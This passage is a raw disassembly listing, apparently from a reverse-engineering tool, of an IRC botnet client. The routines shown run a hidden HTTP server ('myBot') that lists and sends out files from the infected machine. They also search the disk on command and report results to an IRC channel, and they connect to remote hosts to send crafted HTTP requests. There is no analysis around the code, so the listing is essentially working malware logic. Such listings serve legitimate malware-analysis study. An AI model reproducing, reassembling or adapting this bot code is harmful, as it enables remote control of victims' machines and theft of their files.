		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_406031
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4172AE
		add	esp, 24h
		jmp	short loc_406052
; ---------------------------------------------------------------------------

loc_406031:				; CODE XREF: sub_405F4D+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4172AE
		add	esp, 28h

loc_406052:				; CODE XREF: sub_405F4D+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	ds:dword_43F6B8	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_406092
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_406A0D
		pop	ecx
		pop	ecx
		jmp	short loc_4060AF
; ---------------------------------------------------------------------------

loc_406092:				; CODE XREF: sub_405F4D+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_406387
		add	esp, 10h

loc_4060AF:				; CODE XREF: sub_405F4D+143j
		push	[ebp+var_44C]
		call	ds:dword_43F700	; closesocket
		push	[ebp+var_B4]
		call	sub_417076
		pop	ecx
		push	edi
		call	ds:dword_424054	; ExitThread
		pop	edi
		pop	esi
sub_405F4D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4060D0	proc near		; CODE XREF: sub_405AF2+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_417330
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_406106
		push	eax
		push	offset aS_4	; "\\%s"
		jmp	short loc_40610F
; ---------------------------------------------------------------------------

loc_406106:				; CODE XREF: sub_4060D0+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_3	; "%s"

loc_40610F:				; CODE XREF: sub_4060D0+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jbe	short loc_4061AA
		mov	[ebp+arg_8], 2

loc_40613A:				; CODE XREF: sub_4060D0+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_417AB0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40617A
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40617A
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40617A
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40617A
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_406194
; ---------------------------------------------------------------------------

loc_40617A:				; CODE XREF: sub_4060D0+7Aj
					; sub_4060D0+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40618A
		push	5Ch
		pop	eax
		jmp	short loc_40618D
; ---------------------------------------------------------------------------

loc_40618A:				; CODE XREF: sub_4060D0+B3j
		movsx	eax, al

loc_40618D:				; CODE XREF: sub_4060D0+B8j
		mov	[ebp+ebx+var_210], al

loc_406194:				; CODE XREF: sub_4060D0+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_417AB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40613A

loc_4061AA:				; CODE XREF: sub_4060D0+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_314]
		push	offset asc_42A660 ; "\n"
		push	eax
		call	sub_418B6E
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	ds:off_4240A8
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4061FB
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4061FE
		push	[ebp+arg_0]
		jmp	loc_40627E
; ---------------------------------------------------------------------------

loc_4061FB:				; CODE XREF: sub_4060D0+11Cj
		mov	[ebp+var_4], esi

loc_4061FE:				; CODE XREF: sub_4060D0+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40620B
		mov	[ebp+var_4], esi

loc_40620B:				; CODE XREF: sub_4060D0+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_406289
		cmp	[ebp+arg_C], edi
		jz	short loc_40627D
		lea	eax, [ebp+var_314]
		push	offset asc_42A65C ; "*"
		push	eax
		call	sub_4179D0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_406ACA
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_4172AE
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4062D8
; ---------------------------------------------------------------------------

loc_40627D:				; CODE XREF: sub_4060D0+152j
		push	ebx

loc_40627E:				; CODE XREF: sub_4060D0+126j
		call	ds:dword_43F700	; closesocket
		jmp	loc_406380
; ---------------------------------------------------------------------------

loc_406289:				; CODE XREF: sub_4060D0+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	ds:off_424084
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4062D8
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4172AE
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	ds:off_4240A4
		push	esi
		mov	[ebp+var_330], eax
		call	ds:off_424078

loc_4062D8:				; CODE XREF: sub_4060D0+1ABj
					; sub_4060D0+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_42A61C
		push	eax
		call	sub_4172AE
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_416D5A
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	ds:dword_4450C4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_405F4D
		push	edi
		push	edi
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_406352

loc_406340:				; CODE XREF: sub_4060D0+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_406380
		push	5
		call	ds:dword_424064	; Sleep
		jmp	short loc_406340
; ---------------------------------------------------------------------------

loc_406352:				; CODE XREF: sub_4060D0+26Ej
		push	ebx
		call	ds:dword_43F700	; closesocket
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_42A5D4
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h

loc_406380:				; CODE XREF: sub_4060D0+1B4j
					; sub_4060D0+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4060D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406387	proc near		; CODE XREF: sub_405F4D+15Ap
					; sub_40EE72+49C9p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_417330
		mov	edi, [ebp+arg_0]
		push	offset asc_42A660 ; "\n"
		push	edi
		call	sub_418B6E
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4063E6
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_4064E5
; ---------------------------------------------------------------------------

loc_4063E6:				; CODE XREF: sub_406387+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4064CB
		call	sub_417AB0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43F6B8	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43F6B8	; send
		push	edi
		call	sub_417AB0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43F6B8	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_4064E5
; ---------------------------------------------------------------------------

loc_4064CB:				; CODE XREF: sub_406387+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h

loc_4064E5:				; CODE XREF: sub_406387+5Aj
					; sub_406387+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43F6B8	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_406580
		push	[ebp+arg_C]
		call	sub_417AB0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_406580
		push	[ebp+arg_C]
		call	sub_417AB0
		sub	eax, 3
		pop	ecx
		jz	short loc_406531

loc_406525:				; CODE XREF: sub_406387+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_406531
		dec	eax
		jnz	short loc_406525

loc_406531:				; CODE XREF: sub_406387+19Cj
					; sub_406387+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43F6B8	; send

loc_406580:				; CODE XREF: sub_406387+180j
					; sub_406387+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	ds:off_4240BC
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	ds:off_4240B8
		test	eax, eax
		jz	loc_406970
		mov	edi, 1FFh

loc_4065AC:				; CODE XREF: sub_406387+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_406958
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406958
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406958
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	ds:dword_4240B4	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_4240B0	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_406621
		mov	ecx, offset aAm	; "AM"

loc_406621:				; CODE XREF: sub_406387+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40662D
		sub	eax, 0Ch

loc_40662D:				; CODE XREF: sub_406387+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4172AE
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4067D0
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4066A1
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_406919
; ---------------------------------------------------------------------------

loc_4066A1:				; CODE XREF: sub_406387+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40678B
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43F6B8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43F6B8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AB0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_406741
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_406746
; ---------------------------------------------------------------------------

loc_406741:				; CODE XREF: sub_406387+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_406746:				; CODE XREF: sub_406387+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43F6B8	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40691A
; ---------------------------------------------------------------------------

loc_40678B:				; CODE XREF: sub_406387+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_406929
; ---------------------------------------------------------------------------

loc_4067D0:				; CODE XREF: sub_406387+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40680F
		push	ebx
		push	[ebp+var_368]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi

loc_4067FB:				; CODE XREF: sub_406387+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		jmp	loc_406929
; ---------------------------------------------------------------------------

loc_40680F:				; CODE XREF: sub_406387+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_406903
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43F6B8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43F6B8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AB0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4068AF
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4068B4
; ---------------------------------------------------------------------------

loc_4068AF:				; CODE XREF: sub_406387+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_4068B4:				; CODE XREF: sub_406387+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43F6B8	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4067FB
; ---------------------------------------------------------------------------

loc_406903:				; CODE XREF: sub_406387+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"

loc_406919:				; CODE XREF: sub_406387+315j
		push	esi

loc_40691A:				; CODE XREF: sub_406387+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41782A
		add	esp, 18h

loc_406929:				; CODE XREF: sub_406387+444j
					; sub_406387+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43F6B8	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_406958
		push	7D0h
		call	ds:dword_424064	; Sleep

loc_406958:				; CODE XREF: sub_406387+22Bj
					; sub_406387+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	ds:off_4240B8
		test	eax, eax
		jnz	loc_4065AC

loc_406970:				; CODE XREF: sub_406387+21Aj
		push	[ebp+arg_0]
		call	ds:off_4240AC
		cmp	[ebp+arg_8], ebx
		jz	short loc_4069B3
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4172AE
		add	esp, 14h
		jmp	short loc_4069E7
; ---------------------------------------------------------------------------

loc_4069B3:				; CODE XREF: sub_406387+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4069CD
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	short loc_4069E7
; ---------------------------------------------------------------------------

loc_4069CD:				; CODE XREF: sub_406387+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4172AE
		add	esp, 10h

loc_4069E7:				; CODE XREF: sub_406387+62Aj
					; sub_406387+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_43F6B8	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_406387	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A0D	proc near		; CODE XREF: sub_405F4D+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	ds:off_424084
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406AC5
		push	esi
		push	ebx
		call	ds:off_4240A4
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_406ABE

loc_406A52:				; CODE XREF: sub_406A0D+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_406A6F
		mov	edi, [ebp+arg_4]

loc_406A6F:				; CODE XREF: sub_406A0D+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	ds:off_4240C0
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	ds:off_424074
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43F6B8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406AB9
		call	ds:dword_43F5FC	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_406ABE
		xor	eax, eax

loc_406AB9:				; CODE XREF: sub_406A0D+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_406A52

loc_406ABE:				; CODE XREF: sub_406A0D+43j
					; sub_406A0D+A8j
		push	ebx
		call	ds:off_424078

loc_406AC5:				; CODE XREF: sub_406A0D+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_406ACA	proc near		; CODE XREF: sub_4060D0+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jbe	short loc_406AF3

loc_406ADD:				; CODE XREF: sub_406ACA+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_406AE7
		mov	byte ptr [esi+edi], 2Fh

loc_406AE7:				; CODE XREF: sub_406ACA+17j
		push	edi
		inc	esi
		call	sub_417AB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_406ADD

loc_406AF3:				; CODE XREF: sub_406ACA+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AF8	proc near		; CODE XREF: sub_40EE72+2BE6p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	ds:dword_43F5E0	; WSAStartup
		push	6
		push	1
		push	2
		call	ds:dword_43F6E8	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	ds:dword_43F668	; htons
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40ADCA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43F610	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BD5
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_406B71
		mov	eax, offset byte_43C80C

loc_406B71:				; CODE XREF: sub_406AF8+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417AB0
